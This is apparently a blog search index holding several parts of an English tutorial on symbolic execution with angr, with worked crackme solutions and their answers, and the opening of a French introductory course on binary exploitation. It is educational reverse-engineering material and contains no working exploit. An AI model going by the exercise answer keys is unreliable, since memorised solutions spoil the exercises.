reading and writing at the same time. SimFileStream: This is a type close to SimFile, but it is used like a stream. So it will not have the same cursor position management features (which do not really make sense in a stream)These are fairly advanced objects that we will not cover here. If you want to learn more, I invite you to read the doc!ExerciseThe following program reads data from a file in order to validate it or not. It is up to you to find the appropriate content using angr!This exercise will help you understand the overall functioning of SimFiles.#include &lt;stdio.h&gt;#include &lt;stdint.h&gt;int main() { FILE *file = fopen(\"password.bin\", \"rb\"); if (file == NULL) { perror(\"Error while opening the file\"); return 1; } uint64_t win_value = 0xdeadbeefcafebabe; uint64_t read_value; // Read 8 bytes from the file size_t bytes_read = fread(&amp;read_value, 8, 1, file); if (bytes_read != 1) { perror(\"Error while reading the file\"); fclose(file); return 1; } // Close the file fclose(file); if (read_value == win_value) { printf(\"Win\\n\"); } else { printf(\"Lose\\n\"); } return 0;}To compile it: gcc -no-pie main.c -o exe.Hint: no hook is necessary to complete this exercise 😉 !" }, { "title": "Part 3 - Basic features (again)", "url": "/posts/introduction_a_l_execution_symbolique_avec_angr_partie_3/", "categories": "Reverse, Introduction to symbolic execution with angr", "tags": "angr, symbolic execution", "date": "2026-08-03 08:00:00 -0200", "snippet": "Using hooks like a pro 💪If your memory is not too short, you should remember how we used a hook. As a reminder, we did something like this:p.hook(0x40113f, hook_atoi,5)This allowed us to hook the c...", "content": "Using hooks like a pro 💪If your memory is not too short, you should remember how we used a hook. As a reminder, we did something like this:p.hook(0x40113f, hook_atoi,5)This allowed us to hook the call atoi instruction (5 bytes in size) so that we could modify its behavior through Python. However, there are other use cases where we can use hooks.For example, you must have noticed that when a program uses puts or printf, we never see the displayed string directly. Let’s try to modify this behavior with a hook using SimProcedures so that we always display the content of puts.Defining your own hook with SimProcedureSimProcedures allow us to do advanced hooking by, for example, easily accessing the arguments of the hooked function.Let’s make a simple C program that performs successive calls to puts:#include &lt;stdio.h&gt;int main(){ puts(\"How\"); puts(\"are\"); puts(\"you\"); puts(\"?\"); return 0;}If we run the program with angr until the return, we will not see the strings in our terminal (unless we fiddle with state.posix.dumps(sys.stdout.fileno()) to access the output).Before dumping all the code in question, let’s analyze the hook code snippet together so we can understand it properly:class MyPuts(angr.SimProcedure): def run(self, addr_str): #(...)p.hook_symbol('puts', MyPuts()) In the arguments of hook and hook_symbol, when a class derived from SimProcedure is used, you absolutely need to include the parentheses, otherwise angr might get … angry 🙃To use SimProcedures, you must always declare your derived class like this: MyClass(angr.SimProcedure). This then gives access to certain predefined functions such as run, which is the function executed when our hook is triggered.Now, we need to fill in this run function. What are we going to put in it? Well, that’s easy, we just do print(addr_str) 🙄Nice try, but that will not work! Actually, you need to see the addr_str argument as the puts argument in C. Now, the argument of puts is a string, more precisely, a pointer to a memory area containing characters whose end is indicated by a null byte.So we will need to tinker a little to retrieve the string at the address addr_str. Nothing too nasty, a for loop and we are done:class MyPuts(angr.SimProcedure): def run(self, addr_str): string = \"\" # Retrieve the string # by reading byte by byte for i in range(1000) : val = self.state.memory.load(addr_str+i,1).concrete_value # End of the string if val == 0 : break string += chr(val) # Display the string print(string) return 0A few remarks: We have access to the current state via self.state We use the famous state.memory.load to read memory and retrieve the data bytes at the address addr_str[i] in the loop When we reach the null byte, it is the end of the string range(1000) is used as a safeguard to avoid looping foreverThe final script is this one (be careful to modify the address of the return to match your program):import angr# Initialize the project, initial state ...p = angr.Project(\"./exe\")main = p.loader.find_symbol(\"main\")state_0 = p.factory.blank_state(addr= main.rebased_addr)sm = p.factory.simulation_manager(state_0)class MyPuts(angr.SimProcedure): def run(self, addr_str): string = \"\" # Retrieve the string for i in range(1000) : val = self.state.memory.load(addr_str+i,1).concrete_value # End of the string if val == 0 : break string += chr(val) # Display the string print(string) return 0p.hook_symbol('puts', MyPuts())# Address of the 'return'sm.explore( find = 0x401193)By running this script, we do see the expected strings in the terminal:Howareyou?Defining a hook with a decoratorIt is possible to use a Python decorator to define a hook. For example, for the hook we have already seen:p.hook(0x40113f, hook_atoi,5)It is possible to do:@project.hook(0x40113f, length=5)def hook_atoi(state):\t# (...)This makes it possible to define the hook at the same time as the associated function. It is a bit prettier and more readable when reading the script.It is possible to define several hooks by using several decorators around the associated hook. This is useful when a hooked function is called many times in the program:@project.hook(0x40113f, length=5)@project.hook(0x409795, length=5)def hook_atoi(state):\t# (...)A story of symbolsHooking libc functions is easy because: either angr already does it or we have access to the symbol (and therefore we can retrieve the function address through its name), whether the program is stripped or notHowever, when the program is stripped (the symbols of internal functions are removed), we no longer have access to the names of internal functions. Even main is no longer directly accessible through its symbol with main = p.loader.find_symbol(\"main\") 😢.In such a situation, when we want to hook a program function fun_prgrm, we have two ways to do it: Either we know exactly where this function is called, and we just need to hook all instructions of the type: call fun_prgrm Or we do not know where this is done, and we will need to hook the entire functionWe have already faced the first case, and we know how to handle it. But what should we do if we end up in the second case?In the second case, there are two ways to do it: Use a classic hook: this is tedious because you need to calculate the size of the function, exit the function yourself by modifying rip with the appropriate value 🥱 … Use a class derived from SimProcedure: this is the simplest method because we will not need to calculate the size of the function, nor even return ourselves; angr already does it for usUsing a classic hookThe first method can be interesting when you want to modify the behavior of a large block of code that is not a called function. For example, if you manage to identify a piece of code that does anti-debug detection, sleep, or is not very interesting, you can simply hook it with a function that does nothing (this amounts to “NOPing” the whole piece of code).Example:# NOP several instructions@p.hook(start_address, length=total_size_of_instructions)def nop(state):\tprint(\"NOP\")Using a class derived from SimProcedureThe only condition for using this method is knowing where the function you want to hook is located (let’s call it fun_prgrm). Then we use a class derived from SimProcedure, and it will take care of returning properly all by itself.For example, if fun_prgrm is located at 0x401149, we can do:class MyFunc(angr.SimProcedure):\tdef run(self):\t\tprint(\"'fun_prgrm' hooked\")\t\t# (...)\t\treturnp.hook(0x401149, MyFunc())The limits of angrAfter seeing the main features offered by angr, you are probably thinking that you will finally be able to destroy all crackmes and reverse engineer any program much more easily. Well, unfortunately, it is not that simple because angr still has quite a few limitations 🫣 …Execution engine written in Python 🐍One of angr’s major weaknesses compared to other symbolic execution tools such as Triton or Binsec is that it is written entirely in Python.Thus, even the execution engine is written in Python, unlike other tools where Python is simply a wrapper to make them easier to use.Python is nice, it is simple, but wow is it slow ^^’!Path explosion 💥We briefly talked about it, but this is one of the biggest problems in symbolic execution. It does not only concern angr, but any symbolic execution engine.Let’s take a concrete example to see how angr will react during a path explosion.Here is the C code we will use:#include &lt;stdio.h&gt;int one(){\treturn 1;}int zero(){\treturn 0;}int main(){\tunsigned char data[16];\tprintf(\"Enter 16 bytes of data: \");\tfread(data, sizeof(unsigned char), 16, stdin);\tfor (int i = 0; i &lt; 16; i++)\t{\t\tfor (int j = 7; j &gt;= 0; j--)\t\t{\t\t\tif ((data[i] &gt;&gt; j) &amp; 1)\t\t\t{\t\t\t\tone();\t\t\t}\t\t\telse\t\t\t{\t\t\t\tzero();\t\t\t}\t\t}\t}\treturn 0;}This is fairly simple code, and its behavior should be easy for you to understand.Let’s compile it with gcc main.c -o exe. Now, let’s run angr on the program by giving it an unreachable address during exploration:import angrimport IPythonimport claripyimport osimport signal# Code to open IPython# with Ctrl+Cdef kill():\tcurrent_pid = os.getpid()\tos.kill(current_pid, signal.SIGTERM)def sigint_handler(signum, frame):\tprint('Kill with: kill()')\tIPython.embed()signal.signal(signal.SIGINT, sigint_handler)p = angr.Project(\"./exe\")flag = claripy.BVS('flag', 16*8)# We use 'rebased_addr' because the program is compiled# with PIE protectionmain = p.loader.find_symbol(\"main\")state_0 = p.factory.blank_state(addr= main.rebased_addr,stdin=flag)sm = p.factory.simulation_manager(state_0)# Unreachable addressprint(\"Exploration in progress from main\")sm.explore( find = 0xdeadbeef)A few remarks: The program we just compiled is not stripped, so we have access to all symbols, including the main symbol via p.loader.find_symbol(\"main\") Since we compiled the program without the -no-pie option, main is at the offset 0x11a7. But during execution, it will be executed at a random address of the type: random_base_address + 0x11a7, for example: 0x00005555555551af. Thus, we use main.rebased_addr so we do not have to worry about PIE We insert the piece of code that opens IPython with Ctrl+C; this will be useful to us!When launching the Python script, we see that it consumes more and more memory. Initially, we have:Then after a few seconds / minutes of execution:We can see that the script consumes a huge amount of memory, and since we do not want the PC to end up freezing 🥶, we use the deadly weapon: Ctrl+C 🔫.An IPython terminal then opens and we can analyze what is happening. Let’s try to see what the simulation manager contains, which, as a reminder, manages all the states.We see that 1410 states are active, which is huge! Already, when you have more than a hundred, you should start asking questions, but here it is way too much!I recommend ending the script by entering kill() in the IPython terminal to free the gigabytes of RAM occupied by the script.This example lets you understand the main limitation of symbolic execution through path explosion.External librariesAnother weakness of angr is that it handles somewhat complex libraries poorly. For libc, some functions like printf, read, etc., it knows how to handle. But functions like those from the Windows API are harder for it 🤕.As a result, when analyzing a Windows program with angr (for example, malware), you will need to hook quite a few functions so that the script does not go off the rails.This does not mean that angr cannot run on a Windows program, it just means that you will need to be more careful and perform more analysis on the code beforehand before starting a script with angr.Rest assured, angr is not ONLY useful for solving crackmes. It can be used to deobfuscate certain programs. In this regard, we can mention the deobfuscation of switch tables for VM Protect.When should you use angr?To conclude, I suggest listing the cases where it can be interesting/easy to use angr and, a contrario, the cases where it is not necessarily the best idea.Obviously, this is a fairly subjective list, and just because we classified a case among those where you should avoid using angr does not mean it is an absolute truth.Ideally, you should look case by case at the expected objective and the way the binary (program, firmware …) to analyze is designed.Favorable cases ✅ A crackme that uses a fairly linear algorithm with simple operations (xor, add, sub …) A Linux program: yes, angr has a bit more trouble with Windows programs (especially the libraries used) A piece of assembly: this can be a function or simply a piece of disassembled code whose behavior you want to understand. angr can indeed load assembly directly and execute it. Classic deobfuscation: know that it is possible to effectively deobfuscate a program with angr. This may require advanced notions, but angr has a range of tools that, when used together, can allow you to deobfuscate a program. That said, we are talking here about classic obfuscation (linear switch table, opaque predicates, MBA …) and not advanced obfuscation (non-linear switch tables, need to execute dynamically …)Unfavorable cases ⚠️ Windows programs: see the reason above. Obviously, this does not mean that it is impossible to use angr on malware (and it is sometimes useful, by the way), but it just means you will need to pay attention to how you configure angr. A program that calls external functions too often: typically Windows programs that make 1000 calls to Windows API functions Heavily obfuscated programs with very advanced obfuscation Programs that use state-of-the-art crypto (angr is not going to break AES anytime soon :) )" }, { "title": "Part 4 - Keep learning", "url": "/posts/introduction_a_l_execution_symbolique_avec_angr_partie_4/", "categories": "Reverse, Introduction to symbolic execution with angr", "tags": "angr, symbolic execution", "date": "2026-08-02 08:00:00 -0200", "snippet": "Learning how to use documentationWe have seen several basic features offered by angr, from using the solver to implementing hooks, including handling standard input and output.However, it will unfo...", "content": "Learning how to use documentationWe have seen several basic features offered by angr, from using the solver to implementing hooks, including handling standard input and output.However, it will unfortunately not be possible to cover all of angr’s features in a single course, some of which are very interesting: Using the graph representation of basic blocks Concolic execution angr plugins in different programs: Ida Python plugin, gdb plugin …Some of these may perhaps be the subject of a future course dedicated to angr’s advanced features, God willing.In the meantime, you absolutely need to know how to find documentation about using angr. For that, several methods are possible.angr’s official documentationWell, to find documentation, we can already use the docs 🥸.angr’s official documentation is located at this address: docs.angr.io. The site is fairly intuitive, you just need to use the search bar to look for an attribute, a method (function), or class in order to get more details.For methods, the documentation notably gives the different parameters that can be used when calling the function. For example, if I want to know which different parameters can be used when creating an entry_state, I just need to type:By clicking the first link, we get the description of the different usable arguments: Is it normal for the site to be very slow 🥵?Yes, unfortunately the site is quite slow when doing searches… I get the impression that the issue is that the page takes a long time to load. I recommend stopping the page from loading once it seems to be loaded correctly, then doing a Ctrl+F on the function (or whatever else) you are looking for.Using IPythonWe have already talked about it, so I am not going to redo a section on this topic. I invite you to reread the relevant chapter if you need to refresh your memory ;).Nevertheless, I still want to remind you that in an IPython terminal, when you type an expression like object. and then press TAB, it will display the methods and attributes of that object.Using a search engine specialized in code search 🔎This is a search method whose existence I unfortunately learned about very late (thanks CharlB, by the way).This method is based on using sites, more precisely search engines, that return results related to your search by browsing GitHub repositories.Obviously, this method is not only usable with angr, but with any type of code (function, class, structure …) about which you want to get details.Here are the two main ones (there are surely others): grep.app: The site is rather well made and generally lets you find what you are looking for. It is also possible to filter by file type (.py, .c, .yml …) sourcegraph.com: The site is also fairly ergonomic. It can be used as a complement to grep.app because it sometimes manages to find what you are looking for in repositories that grep.app has not browsedUsing grep.app to search for information about entry_state, here is what we can get as results:There you go! You no longer have any excuses not to become angr pros 💪!Using AIAI is very useful for creating angr scripts. I find that the scripts it generates are generally well made, even if, obviously, you often need to do a pass afterward.On the other hand, if you ask it for a script that is far too complex, it may mess up, and you may end up losing even more time trying to understand where the bug in the script comes from.Nevertheless, for basic scripts or for commands whose usage we have forgotten, it is really very useful (for instance, if you forgot how to read/write memory: Make me a script that reads 10 bytes at this address, then writes 8 bytes at that other address, all in little endian).So AI should be seen as a tool that allows us, roughly speaking, to lay the first bricks of our script, which we will then need to finish by hand. Asking it for things that are too complex is, in my opinion, risky because it is possible to lose more time correcting it than by making the script yourself.God knows best." }, { "title": "Part 5 - Exercise solutions", "url": "/posts/introduction_a_l_execution_symbolique_avec_angr_partie_5/", "categories": "Reverse, Introduction to symbolic execution with angr", "tags": "angr, symbolic execution", "date": "2026-08-01 08:00:00 -0200", "snippet": "Exercise solutionsSeveral exercises were proposed in this course. This section contains solutions for each of them. Note that there can be multiple ways to solve the same exercise. These are theref...", "content": "Exercise solutionsSeveral exercises were proposed in this course. This section contains solutions for each of them. Note that there can be multiple ways to solve the same exercise. These are therefore not “optimal” solutions, but only solutions that make it possible to solve a given exercise. In all the proposed scripts, it is normal if you do not have the same addresses, because this partly depends on your compiler. You just need to adapt them according to the addresses you have in the disassembled code. It is not very useful to look at the exercise solutions if you have not tried to find a way to solve the exercise yourself, you will not learn much 😅 …Exercise 1️⃣ - IntroductionGoalFind the correct input for this program:#include \"stdio.h\"#include \"stdlib.h\"#include \"string.h\"unsigned long long hash(unsigned long long arg){ unsigned long long result = 0; unsigned char x =0; unsigned long long temp =0; unsigned long long key =0xef9e8bd8f3afe9eb; for (int i =0;i&lt;8;i++) { x = (arg &gt;&gt; (i*8)) &amp;0xff; switch(x % 2) { case 0: temp = 0xff; break; case 1: temp = x ^ (unsigned char)((key &gt;&gt; (i*8)) &amp;0xff); break; } result = result | (temp &lt;&lt; (i*8)); } return result;}int main(){ char key_buffer[16] = {0}; puts(\"Give me the key in hexadecimal: \"); read(0,key_buffer,16); unsigned long long arg = strtoull(key_buffer,NULL,16); if (hash(arg) == 0xdeadbeefcafebabe) { puts(\"Win !\"); return 1337; } else { puts(\"Lose !\"); return -1; }}Solutionimport angrimport claripyp = angr.Project(\"./exe\")arg_symb = claripy.BVS('input', 8*8)state_0 = p.factory.blank_state(addr= 0x401245) # Address of \"push rbp\" in \"main\"sm = p.factory.simulation_manager(state_0)def hook_strtoull(state): print(\"[i] The strtoull function has been hooked\") state.regs.rax = arg_symbp.hook(0x4012a7,hook_strtoull,5)print(\"[+] Exploration in progress ....\")sm.explore( find = 0x4012cb, avoid = 0x4012e1)print(\"[+] Arrived at destination\")if len(sm.found) == 0: print(\"[-] It was not possible to reach the destination\") quit()else : print(\"[+] Determining the valid input\") # Retrieve the state that reached the correct block found = sm.found[0] # Call the solver to return at least one solution res = found.solver.eval(arg_symb) print(\"[+] A correct input is: \",hex(res))CommentThe main problem in this script was the strtoull function. It is a function that resembles atoi, but returns a 64-bit integer. So we hooked it so that angr could continue execution without any problem.No need to hook puts and read, which are properly hooked by angr by default.Result[+] Exploration in progress ....WARNING | 2023-09-16 15:30:04,501 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing register with an unspecified value. This could indicate unwanted behavior.WARNING | 2023-09-16 15:30:04,501 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2023-09-16 15:30:04,501 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial stateWARNING | 2023-09-16 15:30:04,501 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2023-09-16 15:30:04,501 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.WARNING | 2023-09-16 15:30:04,502 | angr.storage.memory_mixins.default_filler_mixin | Filling register rbp with 8 unconstrained bytes referenced from 0x401245 (main+0x4 in exe (0x401245))[i] The strtoull function has been hooked[+] Arrived at destination[+] Determining the valid input[+] A correct input is: 0x3133353739515355Exercise 2️⃣ - Reading the stackGoalWrite a function read_from_stack(state,n) that displays the first n values (64-bit values, for example) on the stack of the state state.Solutionimport archinfoimport angrdef read_from_stack(state, n): stack_pointer = state.regs.rsp values = [] for _ in range(n): # Read 8 bytes (64 bits) value = state.memory.load(stack_pointer, 8, endness=archinfo.Endness.LE) values.append(value) # Increment RSP to read the next value stack_pointer += 8 return values# Random programbinary_path = \"/bin/true\"proj = angr.Project(binary_path)initial_state = proj.factory.entry_state()# Read the first 10 64-bit values from the stackvalues_on_stack = read_from_stack(initial_state, 5)for i, value in enumerate(values_on_stack): print(f\"Value {i + 1}: {value}\")CommentFirst of all, thanks ChatGPT for the work ;)!Then, we use memory reading to read the different 8-byte values on the stack.The /bin/true program is used here, but you can specify any program.ResultValue 1: &lt;BV64 0x1&gt;Value 2: &lt;BV64 0x7fffffffffeffc8&gt;Value 3: &lt;BV64 0x0&gt;Value 4: &lt;BV64 0x0&gt;Value 5: &lt;BV64 0x19&gt;Exercise 3️⃣ - Handling input and outputGoalTest stdin handling by compiling a basic C program that reads, for example, 8 bytes and checks whether it is the correct password.Then use angr to find the password automatically without having to hook the functions that read from stdin.Program usedHere is the C program used for this exercise, compiled with gcc -no-pie main.c -o exe:#include \"stdio.h\"#include \"stdlib.h\"#include \"string.h\"unsigned long long algo(unsigned char *arg){ unsigned long long result = 0; unsigned char x =0; unsigned long long temp =0; unsigned long long key =0xef9e8bd8f3afe9eb; for (int i =0;i&lt;8;i++) { x = arg[i] ; switch(x % 2) { case 0: temp = 0xff; break; case 1: temp = x ^ (unsigned char)((key &gt;&gt; (i*8)) &amp;0xff); break; } result = result | (temp &lt;&lt; (i*8)); } return result;}int main(){ // solution: USQ97531 unsigned char key_buffer[8] = {0}; puts(\"Give me the key in hexadecimal: \"); read(0,key_buffer,8); if (algo(key_buffer) == 0xdeadbeefcafebabe) { puts(\"Win !\"); return 1337; } else { puts(\"Lose !\"); return -1; }}Solutionimport angrimport sysimport claripyp = angr.Project(\"./exe\")flag = claripy.BVS('flag', 8*8)# Use a symbolic buffer in stdinstate_0 = p.factory.blank_state(addr= 0x4011ea,stdin=flag)sm = p.factory.simulation_manager(state_0)def is_output_good(state): # Is \"Win !\" present in the output? output = state.posix.dumps(sys.stdout.fileno()) return b'Win !' in outputdef is_output_bad(state): # Is \"Lose !\" present in the output? output = state.posix.dumps(sys.stdout.fileno()) return b'Lose !' in outputprint(\"[+] Exploration in progress ....\")sm.explore( find = is_output_good, avoid = is_output_bad)if len(sm.found) == 0: print(\"[-] It was not possible to reach the destination\") quit()else : print(\"[+] Determining the valid input\") # Retrieve the state that reached the correct block found = sm.found[0] # Convert the result to bytes res = found.solver.eval(flag,cast_to=bytes) print(\"[+] The correct input is: \",res.decode())CommentThe important points are the following: Using a symbolic buffer in the input via state_0 = p.factory.blank_state(addr= 0x4011ea,stdin=flag) Exploring based on the output and not by using addresses with sm.explore( find = is_output_good, avoid = is_output_bad) And in the end, no hook was necessary!ResultWARNING | 2023-09-16 15:03:47,468 | angr.simos.simos | stdin is constrained to 8 bytes (has_end=True). If you are only providing the first 8 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).[+] Exploration in progress ....WARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing register with an unspecified value. This could indicate unwanted behavior.WARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial stateWARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.WARNING | 2023-09-16 15:03:47,479 | angr.storage.memory_mixins.default_filler_mixin | Filling register rbp with 8 unconstrained bytes referenced from 0x4011ea (PLT.__cxa_finalize+0x19a in exe (0x11ea))[+] Determining the valid input[+] The correct input is: USQ97531Exercise 4️⃣ - Handling filesGoalThe following program reads data from a file in order to validate it or not. It is up to you to find the appropriate content using angr!This exercise will help you understand the overall functioning of SimFiles.#include &lt;stdio.h&gt;#include &lt;stdint.h&gt;int main() { FILE *file = fopen(\"password.bin\", \"rb\"); if (file == NULL) { perror(\"Error while opening the file\"); return 1; } uint64_t win_value = 0xdeadbeefcafebabe; uint64_t read_value; // Read 8 bytes from the file size_t bytes_read = fread(&amp;read_value, 8, 1, file); if (bytes_read != 1) { perror(\"Error while reading the file\"); fclose(file); return 1; } // Close the file fclose(file); if (read_value == win_value) { printf(\"Win\\n\"); } else { printf(\"Lose\\n\"); } return 0;}To compile it: gcc -no-pie main.c -o exe.Hint: no hook is necessary to complete this exercise ;)!Solutionimport angrimport claripyp = angr.Project(\"./exe\")data = claripy.BVS('password', 8 * 8)simfile = angr.storage.SimFile(\"password.bin\", content=data)state = p.factory.entry_state(addr = 0x4011E9, fs={ \"password.bin\" : simfile})sm = p.factory.simulation_manager(state)sm.explore(find=0x4012b9, avoid=0x4012c7)found = sm.found[0]print(\"[+] The data to use is: \",found.solver.eval(data, cast_to=bytes))Comment We create a SimFile containing symbolic data We insert the SimFile into the initial state (its filesystem) with fs={ \"password.bin\" : simfile} We explore until we reach the destination We could also have used the output to explore instead of using hardcoded addresses.Result[+] The data to use is: b'\\xbe\\xba\\xfe\\xca\\xef\\xbe\\xad\\xde'" }, { "title": "Partie 1 - Introduction", "url": "/posts/introduction_au_pwn_partie_1/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-08 08:00:00 -0200", "snippet": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionBienvenue dans ce nouveau cours d’introduction au pwn !Nous voilà enfin dans ce cours qui permettra, on espère, d’éclairci...", "content": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionBienvenue dans ce nouveau cours d’introduction au pwn !Nous voilà enfin dans ce cours qui permettra, on espère, d’éclaircir ce domaine souvent considéré comme ésotérique ou réservé à une élite.Initialement, nous avions prévu d’y inclure une grande partie dédiée à l’exploitation dans le tas (heap). Finalement, afin de rendre l’ensemble plus digeste et plus simple à suivre, nous avons choisi de séparer ces sujets en deux cours distincts : ce cours consacré aux bases du pwn et à l’exploitation dans la pile ; un second cours entièrement dédié à l’exploitation dans le tas. Pour rappel, le tas (ou heap) est la zone mémoire qui permet d’allouer dynamiquement de la mémoire avec malloc, new, etc.Cette séparation nous permettra d’aller plus loin sur chacun des sujets sans surcharger inutilement l’introduction au pwn 😉.Qu’est-ce que le pwn ?Comme à l’accoutumée, jetons un œil à l’origine du terme anglais pwn.En français, on pourrait désigner le pwn (à prononcer “pone”) comme étant de l’exploitation de binaires. La première utilisation du mot pwn est débattue mais cela semble venir d’une typo du mot anglais own qui signifie, selon le contexte, dominer, avoir le dessus sur etc.Ainsi, le pwn consiste à tirer avantage de vulnérabilités présentes dans un programme en les exploitant, généralement pour réaliser une exécution de code arbitraire, souvent, afin d’aboutir à une élévation de privilèges. Finalement, cela revient à de la recherche de vulnérabilités ainsi que la mise en place de l’exploitation des failles trouvées. Par abus de langage, on désigne par binaire un programme compilé (ex: fichier au format ELF, PE …)La recherche de vulnérabilités est principalement utilisée de deux manières : 🛡️ défensivement : la recherche de vulnérabilités est réalisée sur des produits (programmes, OS …) afin de corriger les failles trouvées. Cela peut se faire en interne (ex: département de recherche de vulnérabilités) ou en externe (ex: bug bounty). ⚔️ offensivement : la recherche de vulnérabilités peut aussi être utilisée pour vendre des exploits, compromettre illégalement une infrastructure ou s’attaquer à une personne en particulier 😞 … Le pwn fait partie de la recherche de vulnérabilité mais toute recherche de vulnérabilité n’est pas forcément du pwn. A titre d’exemple, on parle plutôt de pentest lorsqu’il s’agit de trouver des vulnérabilités sur des applications/interfaces web.📝 Objectifs de ce coursPour ne pas que ce cours devienne un amas d’informations totalement abstraites 😴, nous allons nous efforcer de mettre en pratique ce que nous voyons ensemble afin que chacun puisse mettre les mains à la pâte et constater de lui-même ce qu’il a bien compris et ses lacunes.Ainsi, plusieurs challenges seront proposés pour s’exercer et monter petit à petit en compétence.Les objectifs de ce cours d’introduction sont les suivants : comprendre les principales vulnérabilités dans les binaires (buffer overflow, attaque via format string) ; comprendre les concepts sous-jacents permettant l’exécution de code arbitraire (contrôle de rip, corruption de pointeur de fonction, gestion de la stack …) ; savoir mettre en place les principales méthodes d’exploitation en x86_64 (shellcode, ret2libc, ROP, pivot de stack …) ; se familiariser davantage avec un débogueur et un décompilateur ; savoir utiliser pwntools pour communiquer en Python avec un programme et déployer son exploit.A la fin de ce cours, vous devriez avoir tous les éléments pour comprendre comment ce speedrun de Super Mario World fonctionne 😎.Ne seront pas abordés lors de ce cours (par souci de concision, par manque de connaissance de ma part etc.) : le pwn sous Windows (bien qu’il y ait pas mal de similitudes avec le pwn sous Linux) ; le pwn avec d’autres architectures (ARM, MIPS, RISC-V …) ; l’exploitation en kernel land ; la multitude d’attaques possibles dans le tas de manière exhaustive (tous les house of xxxx pour les connaisseurs). Comme pour le reste des ressources présentes sur ce site, il n’est en aucun cas question d’apprendre à exploiter des programmes sur des machines qui nous sont interdites d’accès, ce qui est 🚫 illégal 🚫.Ce que je vous propose est d’analyser chronologiquement les différentes vulnérabilités et contre-mesures. Nous utiliserons cette excellente frise chronologique comme support (source) :Vous avez : En haut 😈 : les vulnérabilités et méthodes d’exploitations En bas 🛡️ : les contre-mesuresNous n’aurons malheureusement pas le temps d’aborder toutes ces vulnérabilités et contre-mesures mais nous nous intéresserons aux principales. Ce qui est intéressant en apprenant à contourner les protections de manière chronologique est que l’on commence avec des exploits assez faciles à mettre en place puis nous complexifions l’exploitation en ajoutant différentes protections qui ont vu le jour au fil du temps.De cette manière, d’un exploit à un autre, vous ne serez pas totalement dépaysés et vous comprendrez les avantages d’une technique par rapport à une autre.Comprendre, c’est bien. Pratiquer, c’est mieuxCe cours ne contiendra pas seulement les aspects théoriques liés au pwn. En effet, de nombreux exercices et challenges vous attendent. Néanmoins, cela ne sera pas suffisant en termes de pratique et vous voudrez sûrement aller plus loin.Voici quelques plateformes qui pourront vous être utiles dans votre progression : 🇫🇷 Root Me : on ne présente plus cette plateforme de challenges. Elle dispose d’une catégorie pwn avec des challenges divers et variés, que ce soit en termes de complexité, de résolution ou de technique d’exploitation. De plus, un serveur Discord est disponible dans le cas où vous ne souhaitez pas vous sentir seul ou que vous êtes bloqués dans un challenge. Ce qui est pas mal avec cette plateforme est qu’il existe beaucoup de challenges de niveau débutant. 🇫🇷 Hackropole : une autre plateforme française qui gagne en popularité. Il s’agit d’un site qui regroupe tous les challenges qui ont pu être présentés lors du FCSC. La plateforme dispose également d’une catégorie pwn avec des challenges très diversifiés où il faudra très souvent sortir de votre zone de confort. C’est l’une des meilleures méthodes pour apprendre à se débrouiller et sortir des sentiers battus ; 🇬🇧 W3Challs : une plateforme assez ancienne mais qui est toujours fonctionnelle et accessible. Il existe une catégorie pwning pour tenter d’exploiter les programmes proposés. Le site dispose également d’un forum mais qui ne semble plus trop être fréquenté 😅 ; 🇬🇧 OverTheWire : la plateforme possède plusieurs catégories de challenges et notamment des challenges d’exploitation de binaires. Ils ont également un serveur Discord ; 🇬🇧 pwn.college : il s’agit d’une plateforme assez récente qui propose pas mal de contenu orienté pwn. Je ne l’ai jamais essayée mais elle semble être accessible pour débuter. Il y a même un serveur Discord.Voici d’autres sites mais que je n’ai pas eu l’occasion de tester : 🇬🇧 pwnable.kr ; 🇬🇧 pwnable.tw ; 🇬🇧 pwnable.xyz ; 🇬🇧 exploit.education ; …Le fait de jongler entre le cours et les challenges est une très bonne méthode pour progresser.Autre point important : ce cours n’est pas à lire linéairement dans le but d’arriver au dernier chapitre le plus rapidement possible. L’objectif est que vous ayez accès à des explications théoriques ainsi qu’à quelques exercices/challenges vous permettant de mettre en application ce qui a été appris. Cela vous permettra, le jour où vous en aurez besoin, de venir relire tranquillement un ou plusieurs chapitres.Ainsi, n’hésitez pas à faire une pause dans le cours à un moment donné pour passer plus temps à pratiquer ou tout simplement faire autre chose car à force d’acquérir de nouvelles informations le cerveau sature et a besoin de temps pour les assimiler.Vous remarquerez aussi que certains chapitres, notamment ceux liés à l’exploitation dans le tas, sont parfois très détaillés. Or ces détails pourront être d’intérêt pour les uns comme ils pourront paraître superflus pour d’autres. En somme, à vous de voir jusqu’à quel degré de détail vous souhaitez aller.🏆 Challenges et exercicesPlusieurs exercices et challenges sont disponibles dans ce cours. Bien que chacun d’eux puisse être réalisé grâce à un conteneur Docker fourni, nous vous recommandons vivement d’avoir à portée de main une machine virtuelle Ubuntu 24.04 qui est la distribution où tous les exercices et challenges fonctionnent.Nous avons également mis à votre disposition une page annexe qui contient les instructions et informations générales concernant les exercices/challenges sous forme de conteneurs Docker.Les conteneurs Docker permettent d’exécuter les exercices et les exemples du cours dans un environnement clé en main, sans dépendre de la configuration de votre machine. Cela assure que les comportements observés et les vulnérabilités 